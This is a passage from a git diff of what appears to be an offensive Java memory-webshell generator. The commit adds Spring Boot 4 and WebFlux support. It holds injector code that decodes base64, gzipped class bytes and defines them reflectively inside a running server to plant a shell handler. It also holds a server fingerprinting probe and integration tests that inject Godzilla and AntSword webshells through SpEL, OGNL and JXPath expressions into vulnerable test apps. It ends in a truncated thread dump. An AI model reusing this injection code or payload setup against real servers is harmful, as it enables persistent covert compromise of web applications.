":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar" - middleware: "springwebflux" - depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" + depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar" - middleware: "xxljob" depend_tasks: "" - middleware: "struts2" diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index 2fdd6b59..8feb509a 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -41,7 +41,9 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar" + - middleware: "springwebflux" + depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar" - middleware: "struts2" depend_tasks: ":vul:vul-struts2:war" runs-on: ubuntu-22.04 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java index d5c0affb..d17e2139 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.reactive.function.server.*; import org.springframework.web.reactive.function.server.support.RouterFunctionMapping; @@ -63,7 +62,7 @@ private Object getShell() throws Exception { try { interceptor = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java index 94c2474d..0b813b79 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.method.HandlerMethod; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping; @@ -63,7 +62,7 @@ private Object getShell() throws Exception { try { interceptor = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java index 6d4f8b69..c4752066 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.injector.springwebflux; -import org.springframework.util.Base64Utils; import org.springframework.web.server.WebFilter; import org.springframework.web.server.handler.DefaultWebFilterChain; import org.springframework.web.server.handler.FilteringWebHandler; @@ -58,7 +57,7 @@ private Object getShell(Object context) throws Exception { try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java index f956d652..c3013c87 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -67,7 +67,8 @@ public static String exit(@Advice.Return(readOnly = false) String ret) { || classNames.contains("com.caucho.server.http.ServletServer"))) { return ret = "Resin2"; } - if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) { + if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1") + || classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) { return ret = "SpringWebFlux"; } if (System.getProperty("AS_INSTALL") != null diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index cc61cfb4..8ff9864a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -28,6 +28,8 @@ public class ContainerTool { public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); + public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath()); + public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath()); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java new file mode 100644 index 00000000..f606f15e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.integration.memshell.springwebflux; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot4WebfluxJarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebFlux) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .jattachFile(null) + .supportedShellTypes(List.of( + ShellType.SPRING_WEBFLUX_WEB_FILTER, + ShellType.SPRING_WEBFLUX_HANDLER_METHOD, + ShellType.NETTY_HANDLER + )) + .testPackers(List.of(Packers.Base64)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java new file mode 100644 index 00000000..081623e7 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot4JarFile) + .jakarta(true) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .assertLogs(false) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER + )) + .build(); + + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName("springboot4") + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, +// ShellType.LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + static Stream tomcatCasesProvider() { + return generateTestCases(TOMCAT_CONFIG); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("tomcatCasesProvider") + void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); + } + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java new file mode 100644 index 00000000..ada221e8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +@Slf4j +public class SpringBoot4ExpressionContainerTest { + public static final String imageName = "springboot4"; + + @Container + public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk") + .withCopyFileToContainer(springBoot4JarFile, "/app/app.jar") + .withCommand("java -jar /app/app.jar") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + ); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java new file mode 100644 index 00000000..19a3977a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.integration.probe.springwebflux; + +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4WebFluxContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springwebflux("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot4WebfluxJarFile) + .expectedJdkVersion("JDK|17.0.17|61") + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java new file mode 100644 index 00000000..30b7955e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2026/08/21 + */ +@Testcontainers +public class SpringBoot4ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .springboot("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot4JarFile) + .expectedJdkVersion("JDK|17.0.17|61") + .targetJdkVersion(Opcodes.V17) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt new file mode 100644 index 00000000..f1b53b73 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt @@ -0,0 +1,402 @@ +# Generated At 2026-08-21 07:13:49 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +catalina.useNaming: false +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +APPLICATION_NAME: vul-springboot4 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +catalina.home: /tmp/tomcat.8080.15263778573247402102 +java.version: 17.0.17 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +catalina.base: /tmp/tomcat.8080.15263778573247402102 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 +LOGGED_APPLICATION_NAME: [vul-springboot4] + +=========================================== + +ThreadStacks: +"http-nio-8080-exec-8" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@18a0fe9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"http-nio-8080-exec-1" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-2" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-6" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-3" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-10" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at 